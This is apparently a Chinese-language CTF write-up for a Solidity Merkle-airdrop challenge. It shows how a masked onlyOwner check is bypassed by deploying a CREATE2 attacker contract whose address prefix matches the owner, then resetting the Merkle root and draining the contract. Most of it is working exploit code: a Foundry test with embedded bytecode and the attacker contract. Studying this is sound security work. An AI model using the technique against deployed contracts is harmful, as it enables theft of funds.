03.challenge 分析 1.大局观 两个代码:
MerkleProof:merkle树的验证方法
Merkle
一开始拥有1ether,如果用户位于merkle树的白名单里面则可以一次去完1ether
可修改root,但是有条件
2.任务 将合约中的余额归零
1 2 3 function Complete() external { require(address(this).balance == 0); }
3.详细分析 只要我们位于白名单中就可以取完所有钱,但是我们不位于白名单
1 2 3 4 5 6 7 function withdraw(bytes32[] memory proof,address to) public returns(bool){ bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, merkleRoot, leaf), "Merkle Proof Verification failed"); uint balance = address(this).balance; // 这里的amount没啥用,因为balnace一定是大于amount的,将本合约中的所有钱给到to地址 payable(to).transfer(min(amount,balance)); }
有个方法可以修改root,但是又onlyOwner修饰
1 2 3 function setMerkleroot(bytes32 _merkleroot) external onlyOwner { merkleRoot = _merkleroot; }
只要调用者地址的第一个高字节和owner一样即可,那么用CREATE2
1 2 3 4 modifier onlyOwner() { require(mask & bytes20(msg.sender) == mask & bytes20(owner)); _; }
用攻击合约来解题(用CREATE2生成),修改root,然后就可以调用withdraw()
取钱
解题 test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.13; import "forge-std/Test.sol"; import "../../src/03.challenge/Merkle.sol"; import "./attacker.sol"; contract attackTest is Test{ Merkle merkle; // cast keccak 'bytecode' bytes32 bytecodeHash = 0x37a91fae53b9e4048c07a4cc8f040a3f5824539c74f18f400380edd62c7debdc; // 用remix获取attacker.sol的bytecode bytes bytecode = hex"608060405234801561001057600080fd5b50610813806100206000396000f3fe6080604052600436106100435760003560e01c806319ab453c146100465780632813139a1461006f57806361ce5e66146100795780636b6d34341461009057610044565b5b005b34801561005257600080fd5b5061006d6004803603810190610068919061048b565b6100a7565b005b6100776100f2565b005b34801561008557600080fd5b5061008e610181565b005b34801561009c57600080fd5b506100a56102b9565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506100ef6102b9565b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c4396001546040518263ffffffff1660e01b815260040161014d91906104d1565b600060405180830381600087803b15801561016757600080fd5b505af115801561017b573d6000803e3d6000fd5b50505050565b6000600267ffffffffffffffff81111561019e5761019d6104ec565b5b6040519080825280602002602001820160405280156101cc5781602001602082028036833780820191505090505b5090506000801b816000815181106101e7576101e661051b565b5b6020026020010181815250506000801b8160018151811061020b5761020a61051b565b5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b8152600401610272929190610617565b6020604051808303816000875af1158015610291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102b5919061067f565b5050565b6000600267ffffffffffffffff8111156102d6576102d56104ec565b5b6040519080825280602002602001820160405280156103045781602001602082028036833780820191505090505b5090506000801b8160008151811061031f5761031e61051b565b5b6020026020010181815250506000801b816001815181106103435761034261051b565b5b60200260200101818152505060003060405160200161036291906106f4565b60405160208183030381529060405280519060200120905060005b825181101561041c57600083828151811061039b5761039a61051b565b5b602002602001015190508083116103dc5782816040516020016103bf929190610730565b604051602081830303815290604052805190602001209250610408565b80836040516020016103ef929190610730565b6040516020818303038152906040528051906020012092505b50808061041490610795565b91505061037d565b50806001819055505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006104588261042d565b9050919050565b6104688161044d565b811461047357600080fd5b50565b6000813590506104858161045f565b92915050565b6000602082840312156104a1576104a0610428565b5b60006104af84828501610476565b91505092915050565b6000819050919050565b6104cb816104b8565b82525050565b60006020820190506104e660008301846104c2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61057f816104b8565b82525050565b60006105918383610576565b60208301905092915050565b6000602082019050919050565b60006105b58261054a565b6105bf8185610555565b93506105ca83610566565b8060005b838110156105fb5781516105e28882610585565b97506105ed8361059d565b9250506001810190506105ce565b5085935050505092915050565b6106118161044d565b82525050565b6000604082019050818103600083015261063181856105aa565b90506106406020830184610608565b9392505050565b60008115159050919050565b61065c81610647565b811461066757600080fd5b50565b60008151905061067981610653565b92915050565b60006020828403121561069557610694610428565b5b60006106a38482850161066a565b91505092915050565b60008160601b9050919050565b60006106c4826106ac565b9050919050565b60006106d6826106b9565b9050919050565b6106ee6106e98261044d565b6106cb565b82525050565b600061070082846106dd565b60148201915081905092915050565b6000819050919050565b61072a610725826104b8565b61070f565b82525050565b600061073c8285610719565b60208201915061074c8284610719565b6020820191508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b60006107a08261078b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036107d2576107d161075c565b5b60018201905091905056fea26469706673582212206cb3c7ca447ae9e793f89ed957e69da3781e83859f2d8a6c29d8b9ac301ccf0264736f6c634300080d0033"; function setUp() public{ // 随便搞个题目复现 // 注意,这里进行调用的msg.sender是此合约的地址0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, // 而不是msg.sender0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38 // 因此merkle的owner初始化为0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 merkle = new Merkle{value: 1 ether}(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); } function test_isComplete() public { // 用户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4来进行攻击 vm.startPrank(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4); console.log("[before]",merkle.balanceOf()); // 我们用脚本计算出来的salt attacker attackerAddress = attacker(payable(deploy(0x0000000000000000000000000000000000000000000000000000000000000349))); attackerAddress.init(address(merkle)); attackerAddress.step01_setRoot(); attackerAddress.step02_attack(); merkle.Complete(); console.log("[after]",merkle.balanceOf()); vm.stopPrank(); } function deploy(bytes32 salt) public returns(address) { address addr; bytes memory _bytecode = bytecode; assembly { addr := create2(0, add(_bytecode, 0x20), mload(_bytecode), salt) } return addr; } }
attacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pragma solidity 0.8.13; contract attacker{ IMerkle merk; bytes32 root; function init(address _addr)public{ merk = IMerkle(_addr); calculateRoot(); } function step01_setRoot()public payable{ merk.setMerkleroot(root); } function step02_attack()public { bytes32[] memory proof = new bytes32[](2); proof[0] = 0x0000000000000000000000000000000000000000000000000000000000000000; proof[1] = 0x0000000000000000000000000000000000000000000000000000000000000000; merk.withdraw(proof, address(this)); } function calculateRoot() public{ bytes32[] memory proof = new bytes32[](2); proof[0] = 0x0000000000000000000000000000000000000000000000000000000000000000; proof[1] = 0x0000000000000000000000000000000000000000000000000000000000000000; bytes32 computedHash = keccak256(abi.encodePacked(address(this))); for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } root = computedHash; } fallback() external payable{} } interface IMerkle{ function withdraw(bytes32[] memory,address) external returns(bool); function setMerkleroot(bytes32) external ; }